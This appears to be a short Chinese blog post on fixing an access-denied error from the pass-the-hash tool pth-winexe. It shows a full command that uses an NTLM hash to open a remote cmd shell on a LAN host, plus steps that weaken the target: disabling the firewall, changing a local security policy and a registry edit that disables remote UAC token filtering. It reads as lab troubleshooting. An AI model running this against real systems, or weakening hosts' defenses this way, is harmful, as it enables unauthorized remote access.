执行pth-winexe报错:ERROR: CreateService failed. NT_STATUS_ACCESS_DENIED.

问题:执行pth-winexe时报错:

pth-winexe -U test%aad3b435b51404eeaad3b435b51404ee:afc44ee7351d61d00698796da06b1ebf //192.168.3.76 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: CreateService failed. NT_STATUS_ACCESS_DENIED.

分析原因:

  1. pth-winexe被防火墙阻止;
  2. 一些版本的Windows在所谓的“简单文件共享”模式下运行。在这种模式下,当尝试使用服务器或客户端的本地凭据访问系统时,Windows只提供客户级访问。即,权限不够;
  3. pth-winexe被Windows Remote User Account Control阻止;

解决方案:Win7上修改
4. 关闭防火墙;
5. Win+R>secpol.msc >本地策略>安全选项>网络访问:本地帐户的共享和安全模型:经典-对本地用户进行身份验证,不改变其本来身份;
6. 以管理员身份执行cmd,输入以下命令:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

你可能感兴趣的:(执行pth-winexe报错:ERROR: CreateService failed. NT_STATUS_ACCESS_DENIED.)